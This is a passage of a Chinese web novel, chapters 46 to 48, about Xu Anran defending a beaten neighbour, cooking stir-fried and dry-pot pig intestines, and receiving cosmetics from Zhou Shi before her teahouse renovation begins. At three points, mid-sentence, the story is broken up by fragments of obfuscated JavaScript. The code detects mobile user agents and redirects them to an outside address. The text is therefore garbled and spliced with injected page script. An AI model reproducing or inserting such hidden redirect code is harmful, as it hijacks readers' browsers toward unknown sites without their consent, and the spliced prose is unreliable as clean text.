“你……我……”男人被噎得一时件说不出话。 曼梅的丈夫体型并不高大,反而矮小又瘦弱,并且貌似常年混迹赌场,面中凹陷得厉害,满脸的营养不良,随便一阵风都能吹倒的模样。若是曼娘会反抗,不见得会受伤。 这也是徐安然站出来说话的原因。 这样的人,给好脸色只会变本加厉。希望曼梅能早日意识到这一点。 “对不起,姑娘,你快走吧,我没事儿。”曼梅拉住自己的丈夫,一脸歉意地说。 以前街坊邻居没少替她说 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“你挡着我路了!”男人气得酒都醒了大半,“我要出去!” 男人深知自己打不过周时,于是决定先走一步,反正他已经拿到钱了。 徐安然也不想跟这个人有过多的争执了,跟一个无赖没什么道理可讲。 “让他走吧。”徐安然拉着周时的衣袖说。 周时很听她的话,立即让出一个身位。 两人直直盯着男人离开,这才回过头看向曼梅。 而曼梅见丈夫走后,立刻跑过去抱着孩子,泪落了下来。 “娘,豆豆没事。今日没有挨打。” “对,没有挨打。”她胡乱擦掉眼泪,转过头感激地看着徐安然。 虽然不知道今晚回家后会面临什么,但至少今天在外面,她没有被打,保住了点颜面。 “谢谢你,姑娘。” “叫我安然就行。时候不早了,我也该回去了。” “好,下次安然再来我这儿,请你吃碗馄饨。” 徐安然点了点头,没接过话。但在离开前,她还是忍不住说道: “你人生完全可以自己做主,你有能力赚钱,何苦去养一条米虫呢?还是这么废物的米虫。” 她的话说得直白,也没有刻意压低声音,周围看热闹的百姓都听得很清楚。 大家纷纷点头,十分赞同徐安然的话。 “就是啊,曼娘,这样的男人,离了你什么都不是。干嘛要委屈自己呢。” “嫁出去的女人泼出去的水……我都这个年纪了……” 没等曼梅说完,便被一位大娘抢了话,“呸!什么观念!男人七十都还能三妻四妾呢,女人嫁了人就不能后悔了?与其一辈子这样过,不如早日和离,若是那人不同意,咱们就告官府,咱们镇县爷是个好人,一定不会坐视不理。” “是啊,若是没有你那好赌的丈夫拖后腿,你们娘俩的日子别提过得多滋润了。” “就是就是。” 徐安然一句话引得许多看热闹的女性共鸣,她们很多都是馄饨摊的常客,也是曼梅的邻居,平日里她们有什么事,曼梅能帮的都会帮,自然也是打心底里想看她过得好。 她们也没少劝曼梅一走了之,但曼梅不愿,其实更多的是不敢。 徐安然心中也明白这一点,困住女性的,从来不是她们的家庭,而是时代的偏见。希望曼梅能早日想通,并且勇敢一些吧。 46. 第 46 章 她和周时慢悠悠地前往城门口,期间路过草市,准备买些菜。 她有一段时间没来了,草市里的猪肉商贩们都想她想得不行。更是留下了许多猪头肉,都处理好了,希望她有一天来能全部买了。 所以当她出现在草市的时候,屠户们的眼睛都亮了。 “姑娘,你终于来了,还记得我不?”赵不赖的嗓门极大,很快引来其他商贩的注意。 曾经大量收购猪头肉这件事又被大家回忆起来了。 “你都好久没来过咧,我给你留了很多猪头肉,都是新鲜滴,来点儿不?” 赵不赖话音刚落,徐安然就已经开始端详起今日的猪头肉。猪耳朵、猪鼻子,都被处理过了,并且处理得很干净,不愧是专业的。 “可以来一些。”徐安然本想只买上几斤,但转念一想茶馆那边快动工了,本就是包午饭,吃什么不是吃,于是她又多买了几斤,连带着赵大赖周边的几家商贩。 茶馆很多活都属于重体力劳动,能量消耗特别大,所以必须吃一些高蛋白得、或者重油重盐的食物,容易消化,而且能快速恢复体力。卤肉不错,而且价格也不贵,最适合不过了。 周时不知道她的想法,于是连忙提醒:“这几日你并不打算摆摊,为何要买这么多?” 徐安然简单地解释了几句,便继续跟猪肉商贩们沟通。这次她拿的不比上一次少,赵大赖见状,给了她一个更优惠的价格。 徐安然受宠若惊。 “谢谢赵大哥,您人真是太好了,祝您生意兴隆。” 生意人谁不爱听这样的吉利话,于是赵大赖一个尽兴,又给她装了些可以榨油的肥肉。 “冲姑娘你这句话,这剩下的肥肉你一定要收下,虽然不多,但好歹也能炸出个二两油。” “谢谢赵大哥。” 她已经买了许多东西了,本想离开,却无意间看到被赵大赖随手丢在一旁的猪大肠和猪小肠。 “赵大哥,那边的猪下水能不能也一并卖给我?”她指着那些大肠和小肠。 赵大赖不可置信的顺着徐安然的手看过去,随后以一种十分惊恐的语气问:“姑娘,你的口味是不是有些刁钻?” 此话一出,赵大赖觉得有些不妥,毕竟是常客,于是他换了副说辞:“我的意思是这东西,味道太大,而且不干净。” “没关系,我知道,你就说多少钱一斤就行。” 古代的猪肉没有经过割阉,臊味很重,猪的内脏更是奇臭无比,以百姓们都对其退避三舍,即使是杀猪的屠户,也不屑于吃。 那些徐安然看到的猪下水,都是他没来得及丢掉的。 其实徐安然也并不是想做这个猪下水的生意,毕竟那么多美食,不想做一道大家都带着质疑的菜。纯粹就是她想带回去试一试,看能不能做得好吃。 如果做得不好,丢了也不心疼。 “罢了,你若想要都拿去便是,不收你钱。” “竟有此等好事?那赵大哥都帮我装起来吧。” “得咧,得咧。” 见徐安然这样高兴,赵大赖更确信了徐安然口味与众不同。 每个人都有自己喜欢的食物和爱好,他虽然不理解,但也表示尊重。 在打包猪下水前,他还贴心地清洗了一遍,但那个味道不是那么容易就能被清洗掉的。 很快,他便将猪下水全部打包好了,毕恭毕敬地递给徐安然。 不知为何。徐安然觉得赵大来看她的眼神多了几分敬佩,她没想太多,只当是自己的人格魅力。 买完这些,徐安然又买了一些新鲜的蔬菜,都是一些老人们自己种的,长势很好。不论是在以前,还是现在,她都更倾向于跟老人买菜,一是不会被坑,二是老人种菜的经验比较足。 有周时跟着,她压根不需要考虑自己会不会买多了提不动。 走在街道上,轩然突然转过头看向周时:“需要我帮你拿一些吗?” 这话说的,好像东西不是她买的一样。徐安然自己都没意识到,如今使唤起周时已经十分自然了。 “不必,你只要好好走路就行。” 徐安然被逗笑了,“我还能不会走路吗?这又没车。” “那也要当心些。” “知道了知道了。”她敷衍地回。 在回去的路上,她偶遇了李家两姐妹。两姐妹今日来镇上不是去摆摊的,而是去店里买水粉。 令徐安然没想到的是,两姐妹也给她带了一盒口脂。 精致的金色盒子,上面印着一个正对镜涂口脂的女子,活灵活现。 “这一定很贵吧?我不能要。”她赶紧拒绝。 胭脂水粉,这四个字一听就很贵,不是,她目前这个正在创业的女性能用得起的。 而且,她没有上装的习惯,这口脂给她也没用。 但李秀敏可不管她的拒绝。 “你必须收下,这是我们两姊妹的心意,我们没少吃你做的美食,而且你都不收我们银子。” “就是呀,这可是我和姐姐挑了很长时间的,你若是不收下,我们姐妹俩不就白忙活了?” “而且这口脂的颜色也不适合我们,若是你不说,只能放着吃灰了。” “不能退了吗?”徐安然真诚地发问。 两姐妹仿佛听到了一个很好笑的笑话,她们挤开周时,分别挽着徐安然的胳膊。 “安然,你是不是从未逛过脂粉店?” “对呀,以前太穷了,没有机会去过。”她十分大方地承认。她们家穷是全村人都知道的事,没什么好遮掩的。 “所以呀,你不知道美人坊的脂粉,一旦带出了铺子,就不能退啦。” “美人坊?是东街那一家吗?” 姐妹俩点头,“是滴。” “上次去东街时,远远地瞧过一眼,人很多,便没进去。” “美人坊是永和镇最大的脂粉店,也最受女子欢迎,若是日后有时间,我们俩姐妹带你来逛一逛。” “好呀好呀~” 虽然不喜欢上妆,但这类店铺,她还是很喜欢逛的。 三人的对话被一旁的周时全听了去。 他得出了一个结论,徐安然喜欢胭脂水粉。于是心里盘算着,下次再来镇上,去买上一些。送给她。 不过……他对此类东西没什么经验,需要向人请教。 于是当天傍晚,他出现在两姐妹的家门外。 李秀莲听到周时来找她,心中十分疑惑,于是刚见面,她便说:“安然不在我这儿。” 是的,她认为周时是来找徐安然的。 “不找安然,找你。” “找我?”李秀莲指着自己,“找我干啥。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17328388|195502||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 之后的时间,周时简单地说明了自己的来意。 李秀莲越听,嘴角的笑就越是收不住。 最后,她十分高兴地说:“我就知道你喜欢安然!我从未看错过,安然她知道了吗?你告诉她了吗?我看安然也不讨厌你呀。虽然人模人样的你对比安然来说,还是差了些,但是我们村里唯一能配得上安然的男人了。我还是挺看好你们俩人的。” 周时从来不和其他女子暧昧,在没认识徐安然之前,更是被村里的阿婶们误认为喜欢男人。 她娘就是其中一个…… “额……能不能先回答一下我的问题?” 李秀莲的话实在太多了,问得周时有些头疼。但他又不知道该去请教谁了,请教谁都有些奇怪。 被他一提醒,李秀莲也觉得自己问得有些多了。 她赶紧回答周时的问题,他听得很认真,比任何时候都要认真。 得到自己想要的答案,周时到了句谢,便离开了。 留下在门口,还没得到自己问题答案的李秀莲。 “不是……就这样走了啊,我的问题还没回答呢,咋这样……” 她不敢问徐安然,想着周时为人老实,应该会说,结果这两人其实都一样,嘴老严实了。 “唉,算了,我自己发现去。”说完,李秀莲便转身回了家,哼着小曲,看起来十分开心。 之后的几天,徐安然都在家里茶馆两个地方忙活,人一忙起来,便容易忘事。 原定的今日去镇上拿桌子的事情被她抛诸脑后。 但是她还是在傍晚时分,见到了自己在钱一行那里定制的桌子。 是周时帮她拿回来的。怪不得今日一整天都不见他的人。 “哇塞,钱老的手艺不错呀!”她惊叹地摸着面前的桌子,桌上的转盘也很丝滑,并不卡顿。 她笑眯眯地抬头:“谢谢你,周时。” 面对徐安然明媚的笑容,他有些不好意思地挠了绕头,“不必客气,我知晓你近日忙,便自作主张替你将桌子拿回来了。我检查过,桌子没有问题。” “嗯!我知道,我相信钱老,也相信你。” 周时更害羞了。 因为这是他第一次听到徐安然这样肯定自己。 想到这,他又从身后拿出一个棕色的木盒子。 “你拿着,送给你的。” “这是什么东西呀?”徐安然作势要直接打开,却被周时阻止。 “等我走了你再看。” “啥呀,还搞得神神秘秘的。”话虽如此,她还是听了周时的话,并没有打开盒子。 在周时离开前,她专门提醒道:“明日茶馆的工作就要开始了,你若是没事,也来帮忙呗?给你工钱。” “不要工钱,我会来。”周时十分认真地说。 他早就将徐安然茶馆动工的日子深深刻在脑子里,明日不论什么事,都不能阻止他过去帮忙。 “行,明日巳时一刻,我在茶馆等你。第一天干活,可以晚些到。” “我不会迟到。” 徐安然点了点头,带着笑腔回:“知道了,快回去吧。” “嗯……我回去了。” 说完,周时便驾着牛车离开了徐安然的家。 在她身后,是苏清吃瓜的目光,直到周时离开不见身影,这才出现。 47. 第 47 章 “还在这里笑呢,人都走远咯。” 她的声音让徐安然回归现实。 看着自己女儿微红的脸颊,苏清心想两孩子估计快成了,于是笑得比她还开心。 片刻后,她突然询问起周时带回来的那张桌子。 “这便是你亲自参与设计的桌子?” “不是我设计的。”徐安然不知道怎么解释,于是干脆转移话题,“不说这个,娘,您觉着这桌子如何?” 苏清上手摸了摸,然后又学着刚才的徐安然转了转上面的转盘,很丝滑,比她们家原本的桌子,好得太多。 “一个温暖的家,从换一张新的餐桌开始。”徐安然很喜欢这张桌子,日后饭馆做大了,她也要全部换成这样的桌子。 “有这样的桌子,吃饭会更香吧?” “那是自然。” 徐安然已经迫不及待了使用这样桌子了,但前提是,她得先去厨房做饭。 前两日在镇上买的大小肠在水里泡了两日,今日异味应该散去不少。 见徐安然要开始动手做那猪下水,苏清心中莫名地一阵反胃,但是有忍不住好奇想看看她是怎么做的。 “安然,这东西真的会好吃吗?” “放心吧娘,你能吃辣,我决定做一道爆炒猪小肠,绝对好吃,并且这东西含有丰富的蛋白质,营养价值很高的!” “蛋白质,是何物?” “额……就是可以改善人的气血不足。”说到这,徐安然突然坏笑,“娘,吃啥补啥这句话你听过吧?这猪小肠是猪的内脏,在消化系统中位于胃和大肠之间的部分,主要负责消化和食物的吸收,所以啊,这个东西还可以调理我们人类的肠胃功能哦。” “但是娘一想到那是……” “洗干净就行了嘛,等会成品会好吃到你忘记这些的。” 见徐安然这么自信,苏清也不再说什么了。 只见她将浸泡小肠的水倒掉,接着又接水清洗了一遍。 这才加入干面粉,熟练地抓洗片刻。这一步可以有效去除猪肠表面的脏物和异味。 虽然有些浪费面粉,但好在她现在已经有些银子了,倒也没那么心疼。 面粉很快从白色变成了淡黄色,这便说明脏物被洗出来了。接着便用清水将附着在猪肠表面的面粉洗干净。 她拿出一根筷子,顶入猪肠内,向筷子的另一头挤,直到最末端,捏住一头给猪肠翻面,清水再次变得浑浊,她洗了好几遍,水才变得比较清澈。 但这还不够。 再次加入一些面粉,和第一个步骤一样抓洗,直到将面粉都清洗干净,再加入两勺盐,继续抓洗。这一步的目的是为了洗去猪肠表面的粘液,最后再用清水反复清洗。 直到水彻底清澈为止。 “娘,你看,这样洗,这猪肠就已经很干净了。” “接下来就可以炒了?” 徐安然摇头:“还不行,现在虽然是洗干净了脏物,但是气味还在,所以要过一遍水。水里加些生姜、桂皮和香叶,再加些米酒和米醋、一勺盐,煮到变色后,方才可以捞出。猪大肠,也就是肥肠,清洗的方法也跟小肠一样。” 她将大小肠全部都清洗干净。 决定将肥肠做成干锅,小肠做成爆炒。 她认为肥肠的口感,必须得是三分焦、七分糯。 洗干净的猪大肠,剪成不长不短的段后,放入加了水的锅中。 大葱、姜、洋葱,简单切成小块后与肥肠一起煮,再加入白酒,度数越大的酒,去异味的效果更好。 紧接着徐安然又拿出一口铁锅,放入桂皮、草果、干姜、白芷和白蔻,后面两样她都是从医馆买的,因为这也是一味药材。 接着再加入足量的盐和黄酒,烧火同时煮。等待水开的同时,继续备菜。 葱、姜、蒜、干辣椒、青椒等…… 这些菜的价格,加起来比大小肠贵了不知道多少倍,但徐安然馋啊,所以每样都买了一些,只够做这一次的。 此时肥肠锅的水已经开了,将其捞出后,再次放入铁锅中,盖上盖子,焖煮半个时辰。 “可惜没有高压锅,否则还能更快些。”徐安然小声嘟囔道。 在等待期间,她着手开始做爆炒小肠。也可以叫火爆小肠,反正做法很火辣。 先准备料头。 小辣椒切成末,再加入一勺甜口的辣椒酱。 再准备辅料。 大葱切成小粒,姜切成长条,全部放入碗中,加入一勺盐、花椒粉、辣椒面、花椒油、酱油等。 小肠这类食物,为了去除异味,就必须得多加调味料,原汁原味对于大小肠来说并不适用。 将小肠切成小块,锅里加些许芝麻油,再放上几粒花椒爆香后,倒入料头。 “滋啦”一声响,混合着各种调味料的气味同时间迸发,其中辣椒的气味最重,惹得苏清打了个喷嚏。 但也不忘说一句:“好香。” 再过片刻,呛鼻的气味少了许多,徐安然将焯水过的小肠倒入锅中,翻炒几下后再倒入辅料。 她一手提着果前后晃动,一手拿着锅铲有节奏地翻炒。 期间,徐安然展示了爆炒类的技巧“锅中逗火”,只有爆炒类的菜才稍微这样玩,其余类型的菜并不适用。 苏清哪里见过这样的场面,直呼着火了,让她赶紧停下,同时舀了绍清水,作势要撒上去。 好在徐安然眼疾手快,及时制止了苏清。 “娘咧,可别,这小肠不值钱,但料头和辅料值钱呀!而且这只是烹饪的一种技巧,不碍事儿。” “是……是吗?”苏清的声音还有些颤抖,不过火也就起了两次,一瞬间就没了。 “对呀,这样吃起来才香,你站远些,我再给你展示一下!”说完,徐安然又往锅里加了些蒜末,蒜末爆香后,很快锅里又起火了。 这次有了心理准备,苏清没有刚才那样紧张了。反而是夸赞起了徐安然。 待她将锅移开灶口,火便灭了。 将其装盘,一道爆炒小肠就做好了,全程十分丝滑。 “这样就好了?”苏清试探性问,随后狠狠嗅了嗅鼻子。 若说肥肠是三分焦七分糯,那小肠则就相反,七分脆,三分焦。并且辣椒必须足够,鲜辣脆爽,是小肠最好吃的口味。 “好咯。”徐安然已经迫不及待地拿起筷子夹上一块小肠了。它的整体色泽为深红色,亮油附着在小肠表面,看起来十分可口。 一筷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17333627|195502||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子塞进嘴里,脆、嫩、鲜、香,异味几乎可以忽略不计。 “这料头钱花的值了!”她说,“很好吃啊!娘,你快试试。” 徐安然是会吃的,苏清见状,努力克服心里的嫌弃,缓慢地夹起了一块小肠。 她细细地观察,很软、很弹,凑近鼻尖嗅了嗅,酸辣的气味扑鼻。好似……很好吃,至少味道是香的。 她抬眼,对上女儿亮晶晶的双眼。 她在催促,也在期待。 “快吃呀。” 苏清豁出去了。 即使这里头曾经装着猪吃过的食物。 在徐安然第二声的催促下,她立即将小肠送入口中。 咀嚼间,弹性十足,而且越嚼,辣椒的香气越明显,味道有些咸,但根本吃不出异味。咽下后,嘴里只剩下些微麻的感觉。 身体的动作骗不了人,苏清又夹了一块。 这道菜出了名的下饭,她就着米饭一口气吃了大半,她感觉到自己浑身的毛孔都舒展开了,越吃,汗越多,当真回味无穷。 徐安然留了些小肠出来,打算叫两姐妹和周时来吃。 第二道菜,是干锅大肠。 “娘,别吃太多,这大肠更好吃呢。” “可是,大肠比小肠更脏……” “害,大肠焦糯,和小肠是完全不一样的口感,你吃过之后绝对会爱上,说不定吃的比小肠还多。” 大肠和小肠,她更喜欢大肠的口感。 炖好的大肠,拿出来后改刀切成斜的长条,接着擦干表面的水分。 然后将准备好的料头和辅料都摆在顺手能拿到的地方。 油温六成后,倒入大肠,片刻后,与油一起,淋入装着切好的青椒和红椒的漏勺中。 大肠过油,这是焦脆的来源。 锅里留下一些油,下入葱姜和小米辣椒以及甜口的辣椒酱,之后倒入肥肠,加黄酒、盐爆炒,再倒入蒜,锅里太干了,加一些水,持续翻炒片刻。 那个从茶馆里带回来的缺口的砂锅,洋葱切成丝,铺在砂锅的底部,加热后,倒入炒好的肥肠。 这样,干锅肥肠就完成了。 加洋葱是为了缓解腻味,洋葱的味道渗透进肥肠中,再裹着肥肠一起入口,麻辣干香的同时又增添了些许清爽,虽然是干锅,但并不是肥肠枯燥的口感,外表焦脆,而内里却是软弹的,火候控制得恰到好处。 苏清是这样认为的。 女儿说得没错,肥肠确实比小肠更加好吃,并且,想象中的异味一点也不存在,若是不说,她压根猜不到主食材是猪大肠。 “我还会很多好吃的菜呢,干锅鸡翅、风爪虾、蒜香排骨。对了,过几日我们吃腌笃鲜~” “前面的娘都知道,但是腌笃鲜?” 苏清疑惑,但徐安然并不着急解答。 “和您现在吃的完全是不同的口感,等我做好您就知道咯,先不告诉你,保留点神秘和期待。” 她笑着点头,“行,娘许你卖这个关子。” “一定不会让你失望。” 菌子鲜美,这可是苏清亲口承认过的。 所以过几日她决定约周时上山摘菌子。 腌笃鲜,她是一定要在这个春季吃到滴。 48. 第 48 章 想着菜要趁热才好吃的原则,徐安然没有等到明天,便直接带着好吃的来到了周时家。虽说就目前他们两人的关系,这样做有些过了。但转念一想,今日周时都替她把桌子从镇上搬回来了。还给她带了礼物,虽然礼物她到现在还没打开。 所以……这就当作答谢吧。 她带着食盒来到周时家。门没关,她朝里头望了望,没见到周时的身影。 本想敲门,但恶作剧占据了思想,她轻手轻脚地踏进院子。 厨房的位置传来声音,这个点,周时可能在做饭,不过闻不见菜香味,可能刚开始,那么她来得恰好。 “做什么呢?!” 她的声音很大。 本以为在厨房毫不知情的周时会被她这突然的一问吓到。 结果周时看起来很淡定,似乎早就知道她会来? “炒猪肉和炒青菜。”周时如实回答。 “你怎么一点被吓到的样子都没有啊?”她又问。 “从你站在问外看的时候,我就知道了。听脚步也能听得出来是你。” “唉。”徐安然叹了口气,“没意思。” 周时可听不得徐安然叹气,也不想见到她不开心,于是连忙说: “那明日你再吓我一次吧。” “??” 这东西不就将就一个突然兴起吗,还能这样? “倒也没那么幼稚。”说完,她将食盒放在桌上,“你快别做饭了,试试我新做的菜。” 周时眼前一亮,他早就闻见了浓郁的麻辣香,只是徐安然一直没提,他也不好意思多问。 “刚做好的?” “嗯,还热乎。”她边说,边将菜拿出来,果然还冒着热气。 周时家的厨房还算大的,所以平日为了省事,他都在厨房吃。 徐安然当着他的面坐下,一点儿也不拘谨。 “一起吃?” “我在家吃过了,我看着你吃就行。” “那好吧……我屋里有些水果,你等着我拿来。”周时说完,快步离开了厨房,压根没等徐安然拒绝。 其实她只是想看看周时吃这个肥肠是什么反应,看完就离开的。 而且,他拿的水果……实在太多了。 “你是对我的食量有什么误解吗?一个就够吃了。” 周时给她的是新鲜的野梨,根儿还是绿的。 “我今早上山时刚摘的,试试味道如何。喜欢的话都拿回去。”说完,周时拿起了筷子,夹上一块肥肠,左瞧右瞧,都瞧不出是什么食材做的。 “这才四月,梨这么早就熟啦?味道应该一般。”说完,她腰下一小口。 意料之外的,这梨水分特别足,虽然没那么甜,但味道不差。 “如何?”周时问。 “还不错,虽没到季节,但胜在水分足,可以吃。” “那你多拿些回去。” “嗯,一会儿走前我拿几个。” 两人说话期间,面前的菜周时一动未动。她好奇问:“你咋不吃?” “这是什么食材做的?我竟一时分辨不出。” “嘿嘿。”徐安然坏笑,“是你想不到的。我说了,你可能就吃不下了。” 苏清以前过得那么苦,听到肥肠都感到生理性厌恶,更别提周时了。 “是猪肠子?” “竟真被你猜到了。” 周时低头一笑,“毕竟是我跟你一起去买的,我有印象。”说完,他毫不犹豫地吃了。 “你居然不质疑一下这道菜?” “只要是你做的菜,我都会吃。” 徐安然被他这话肉麻到了,偏他还说得十分正经,一点儿也不显得滥情和风流。她就吃这样的反差。 所以难得的,她并没有反驳。 “那你多吃点。” “一整碟都是我的了?” “嗯,或者留一些给四叔和高婶?随你,嘿嘿。” 周时连忙伸手护住这两碟菜,摇了摇头:“不必,四叔和高婶不喜欢吃这类食物,他们讨厌猪下水。” “哦~好吧~”徐安然假装信他。但心里门清,这人就是想吃独食。 “过两日跟我一起去趟山上呗,上次说好了,跟我一起去采菌子的事情,可不能反悔。” 这次来找周时,也是为了顺便说这件事。 明日茶馆正式开工,不用想都知道会很多事,所以过两日再去,不那么忙。 周时以为她忘了,刻意没有提起,不曾想徐安然已经早有自己的规划,毕竟是自己答应过的事,他只能点头答应。 “行,跟你一起去。” “谢谢~”徐安然开心地道了声谢,随后站起身,“那我就先回去啦。碟子你洗干净之后,明天拿来茶馆给我哦,可不能自己私吞了,这是我花了二钱银子买的呢。” 喜欢一个人不管她什么样都觉得可爱,周时现在总算理解了四叔说过的这句话。 他点了点头:“嗯,一定照你说的做。” “嘿嘿,那慢慢吃吧,我真的走啦。” “我送你。” 说这三个字的时候,周时已经站在徐安然身边了。 “天色有些晚了,我送你回去。” “嗯……也行。” 吃完饭散步送她回家,这怎么看怎么都是小情侣才会做的事情,可是徐安然就是不愿拒绝。反而还挺开心的。 即使在封建的古代,她也能遇到开明的母亲和尊重她事业、处处以她为先的男人,她很幸运,也很幸福。 一路上他们并没说什么话,只是并肩走着,直到月亮悄悄爬了上来。她正好到家。 周时站在她的对面,犹豫了很久,竟只蹦出“明日茶馆见”这几个字。 徐安然也是,两人在感情方面都没什么经验,也没人教他们,所以徐安然也回:“明日茶馆见。” 实际上这句话两人今天说了不止一遍,但各自都没发觉。 她说完之后,便转身进院并十分迅速地关上了门。留下还未反应过来的周时。 总之是看到徐安然安全到家了,所以他只在她家门口回味了片刻,便也转身朝自己家的方向走了。 至于回味什么……谁也不知道,他自己也不知道…… 回到家,本以为可以继续就着美味的菜下饭,结果…… 厨房里传来三道满足地赞叹声。 周时暗道不好,连忙跑进厨房。 果不其然,桌上的菜所剩无几。而罪魁祸首三人,此刻正一脸满足地摸着肚子。 “真好吃啊,真下饭。”说完,李四总算看见周时了,他乐呵道,“哟,回来啦,去哪儿鬼混了?不过你做的这菜很好吃啊,在安然那学来的手艺?” “不对吧哥。我们家周宝宝的厨艺再怎么好也做不出这样的美味啊,这绝对是安然做的。” 就连高玉也跟着点头附和,“我也这样认为。” 周时有些崩溃,语气都不自觉大了些,“知道你们竟不留些给我!”他都没吃几块啊!虽然他也没想过留些给几位长辈。 “等会儿,你们知道这菜是什么食材做的吗?”周时突然冷静下来,问道。 三位长辈都被他这极快的情绪转变给弄得一愣一愣的。但还是十分真诚地摇头,异口同声地回:“不知道。” “哈哈,这是猪肠子做的,没错,就是我们以前都不吃的猪肠子。” 本以为长辈们会绷不住变了脸色,谁曾想…… 他们的眼睛更亮了。 “那么难闻的东西也能做得这么好吃?我们安然太厉害了吧!哎,这道菜怎么做的你知道不?四叔也想试试了。” 果然不是一家人不进一家门啊。 周时早该预料到的。 好歹也是长辈,他稍微生气意思就行了,总不能为了两盘菜真的跟他们翻脸。 “好啦,快坐下一起吃。高婶给你单独留了些。”说完,她站起身,打开柜子,里边赫然是两碗被单独分出来的菜。 周时更愧疚了。 “高婶,你对我真好。我刚刚不该吼你。”他连忙道歉。 高玉本想摇头表示不计较。又听周时话锋一转,“但是你和四叔小叔一起在我这儿偷吃还不等我,也是不对的。” 说完,他在高玉旁边坐了下来。 “切,我有好吃的时候想着你,你有这好吃的,刚刚想过我们吗?” “有……有啊。”面对李四的质问,周时有些心虚,但很快便找到了理由,“但这是安然专门送来给我的哎,你们破坏了我的礼物!” “还礼物呢~德行。” 以往哥哥嫂嫂秀恩爱也就算了,现在连小侄子也跟着秀起了恩爱,他这个黄金光棍,做错了什么?李祥云心中很委屈巴巴地想。 此话一出,周时又跟李祥云唇枪舌剑大战了。 但一家人吵闹也得有个度,吃过饭后,李四终于认真了。 “今日我们来有正事,明日安然的茶馆正式动工,我和你小叔也会跟着过去,那些工人都是老油条了,我怕安然管不住他们,有我在,他们定不敢乱来。” “四叔说的是,但是也别小瞧了安然,若是真的处理不了,您在出面也不迟,好歹给她一个解决事情的机会。” 李四对周时有些刮目相看了,他第一次觉得着孩子不是榆木脑袋,情商也高。 “可以啊,你小子长进不少。” “嘿嘿。”他腼腆地笑,“还行,还需要努力。” “是还需要努力,行了,我们这也都吃完饭了,就不打扰你了。早点休息,明日我们都以最好的精神,一起去茶馆!” 周时点头,他也是这样的想法。一想到明天整日都可以和徐安然待在一起,他心中便满是欢喜。于是洗漱完刚躺在床上,他便睡着了…… 反观徐安然,同样也已经洗漱完毕。此刻她坐在床边,看着自己腿上那精致的木盒子。 若不是周时提醒,她便忘了开了。 左瞧右瞧,总算找到了打开的方法,盒子旁边居然还有个暗格,装着一把小钥匙。 “差点以为礼物就是这个盒子了。”她一边嘀咕一边用钥匙打开了盒子。 扑鼻而来的脂粉香气。 口脂、面脂、香膏、画眉黛、玫瑰胭脂……这好像是一整套化妆品啊。 周时送她这些干什么? 想到这,她连忙打开一旁的柜子,拿出秀莲送的口脂,看了一眼上头的图案,又对比周时送的……一模一样。 这是美人坊的东西。 但这些东西里,除了香膏,其他根本不实用。 “有钱多买些鸡鸭鱼肉多好啊,我还能展示一手厨艺呢。” 但好歹是周时的一番心意,她即便还回去,也退不了,而周时一个大男 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17337012|195502||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人,更用不上这些了。 徐安然只好含泪收下。但除了面脂和香膏之外,其余的她都好好收起来了。家里目前的环境,将这些放在外面太容易吃灰了。 她打开香膏,首先扑鼻而来的是温润淡雅的茉莉香味,还夹着杂玫瑰的馨香,甜而不腻,好巧不巧,正是她喜欢的味道。 “挺有眼光的。” 她欢喜地将香膏抹在手腕处和耳后,在这片花团景簇中,沉沉睡去…… 次日,大家都在约定的时间内到达了茶馆。 她已经实现订好了材料,说起来这还对亏了钱老的帮忙,他帮着自己计算出了本次修缮茶馆所需要的大致材料,又给她推荐了几家比较靠谱的店,于是很顺利地将所有需要的东西都准备好了。 为了跟大家尽早地熟络起来,徐安然一大早起来便做了许多葱花饼,此刻正让大家自己从竹篮里取。 周时一直站在她身边,没去拿葱花饼,于是徐安然走过去拿了两了过来,他一个,自己一个。 递过去的同时说:“你怎么不吃?” 周时眼里流露出些许心疼,他一字一句说:“其实你不必专门做这些,起来太早了,再做这些,很累。” “没事儿啊,顺便的事。”她无所谓道,“也就今天这样做啦,为了拉近大家的关系,明日我只会负责午餐。” “嗯,有时候别那么心好,难免有人见你人不错而的得寸进尺。” 周时好心提醒是为了她好,徐安然深知这一点,于是十分坚定地点头:“好!我知道了,你放心吧,做生意这件事,我有经验,不会吃亏的。” 见徐安然如此肯定,他便也不好再多说什么了。 罢了,反正不管发生什么,他都会站在徐安然身边。 大家很快将葱花饼分完了,其实也没多少,就二十个。 本以为今日只有工人和周时以及两位好姐妹来,不曾想,村长一家、李俊贤一家以及李四和功一家都来了,葱花饼差点不够分。 其中最令徐安然感到好奇的便是李若兰。 李花曾说过李若兰不爱出门,也不喜欢和人交朋友,所以今日她出现在茶馆里,徐安然很是惊讶。 而且上次她明显感觉到李若兰跟她有话说,但碍于人多,便没有开口。 